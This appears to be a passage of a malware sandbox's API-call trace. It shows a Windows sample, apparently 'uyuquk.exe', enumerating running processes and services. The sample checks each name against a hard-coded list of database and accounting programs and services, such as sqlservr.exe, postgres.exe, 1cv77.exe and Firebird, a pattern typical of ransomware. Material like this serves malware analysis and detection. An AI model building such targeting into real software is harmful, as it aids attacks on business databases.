[0234.247] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0234.247] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0234.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0234.247] lstrlenW (lpString="Spooler") returned 7 [0234.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0234.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0234.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0234.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0234.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0234.247] lstrlenW (lpString="Themes") returned 6 [0234.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0234.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0234.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0234.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0234.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0234.247] lstrlenW (lpString="UxSms") returned 5 [0234.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0234.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0234.247] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0234.247] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0234.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0234.247] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59e870 | out: hHeap=0x530000) returned 1 [0234.247] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0234.249] Process32FirstW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.249] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0234.250] lstrlenW (lpString="System") returned 6 [0234.250] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0234.250] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0234.250] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0234.250] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0234.250] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0234.250] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0234.250] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0234.250] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0234.250] lstrlenW (lpString="smss.exe") returned 8 [0234.250] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0234.250] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0234.250] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0234.250] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0234.250] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0234.250] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0234.250] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0234.250] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.251] lstrlenW (lpString="csrss.exe") returned 9 [0234.251] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0234.251] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0234.251] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0234.251] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0234.251] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0234.251] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0234.251] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0234.251] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0234.251] lstrlenW (lpString="wininit.exe") returned 11 [0234.251] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0234.251] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0234.251] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0234.251] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0234.251] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0234.251] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0234.251] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0234.251] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.252] lstrlenW (lpString="csrss.exe") returned 9 [0234.252] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0234.252] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0234.252] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0234.252] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0234.252] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0234.252] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0234.252] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0234.252] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0234.253] lstrlenW (lpString="winlogon.exe") returned 12 [0234.253] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0234.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0234.253] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0234.253] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0234.253] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0234.253] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0234.253] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0234.253] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0234.253] lstrlenW (lpString="services.exe") returned 12 [0234.253] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0234.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0234.253] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0234.253] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0234.253] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0234.253] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0234.253] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0234.253] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0234.253] lstrlenW (lpString="lsass.exe") returned 9 [0234.253] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0234.254] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0234.254] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0234.254] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0234.254] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0234.254] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0234.254] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0234.254] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0234.254] lstrlenW (lpString="lsm.exe") returned 7 [0234.254] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0234.254] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0234.254] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0234.254] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0234.254] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0234.254] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0234.254] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0234.254] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.254] lstrlenW (lpString="svchost.exe") returned 11 [0234.254] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.254] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.254] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.255] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.255] lstrlenW (lpString="svchost.exe") returned 11 [0234.255] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.255] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.255] lstrlenW (lpString="svchost.exe") returned 11 [0234.255] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.255] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.256] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.256] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.256] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.256] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0234.256] lstrlenW (lpString="LogonUI.exe") returned 11 [0234.256] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0234.256] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0234.256] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0234.256] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0234.256] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0234.256] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0234.256] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0234.256] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.256] lstrlenW (lpString="svchost.exe") returned 11 [0234.256] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.256] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.256] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.256] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.256] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.256] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.257] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.257] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.257] lstrlenW (lpString="svchost.exe") returned 11 [0234.257] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.257] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.257] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.257] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.257] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.257] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.257] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.257] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0234.257] lstrlenW (lpString="audiodg.exe") returned 11 [0234.257] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0234.257] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0234.257] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0234.257] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0234.257] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0234.257] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0234.257] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0234.257] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.258] lstrlenW (lpString="svchost.exe") returned 11 [0234.258] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.258] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.258] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.258] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.258] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.258] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.258] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.258] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.258] lstrlenW (lpString="svchost.exe") returned 11 [0234.258] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0234.259] lstrlenW (lpString="userinit.exe") returned 12 [0234.259] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0234.259] lstrlenW (lpString="dwm.exe") returned 7 [0234.259] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0234.259] lstrlenW (lpString="explorer.exe") returned 12 [0234.259] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0234.260] lstrlenW (lpString="spoolsv.exe") returned 11 [0234.260] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0234.260] lstrlenW (lpString="taskhost.exe") returned 12 [0234.260] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.260] lstrlenW (lpString="svchost.exe") returned 11 [0234.260] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0234.260] lstrlenW (lpString="uyuquk.exe") returned 10 [0234.260] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0234.261] lstrlenW (lpString="reader_sl.exe") returned 13 [0234.261] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0234.261] lstrlenW (lpString="AdobeARM.exe") returned 12 [0234.261] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0234.261] lstrlenW (lpString="cmd.exe") returned 7 [0234.261] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0234.262] lstrlenW (lpString="conhost.exe") returned 11 [0234.262] Process32NextW (in: hSnapshot=0x12c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0234.262] CloseHandle (hObject=0x12c) returned 1 [0234.262] Sleep (dwMilliseconds=0x1f4) [0235.046] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x565f08 [0235.369] EnumServicesStatusExW (in: hSCManager=0x565f08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0235.369] GetLastError () returned 0xea [0235.369] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa64) returned 0x59e870 [0235.369] EnumServicesStatusExW (in: hSCManager=0x565f08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x59e870, cbBufSize=0xa64, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x59e870, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0235.370] CloseServiceHandle (hSCObject=0x565f08) returned 1 [0235.370] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0235.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0235.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0235.370] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0235.370] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0235.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0235.370] lstrlenW (lpString="AudioSrv") returned 8 [0235.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0235.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0235.370] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0235.370] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0235.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0235.370] lstrlenW (lpString="BFE") returned 3 [0235.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0235.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0235.370] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0235.370] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0235.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0235.370] lstrlenW (lpString="CscService") returned 10 [0235.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0235.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0235.370] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0235.370] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0235.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0235.370] lstrlenW (lpString="DcomLaunch") returned 10 [0235.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0235.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0235.370] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0235.371] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0235.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0235.371] lstrlenW (lpString="Dhcp") returned 4 [0235.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0235.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0235.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0235.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0235.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 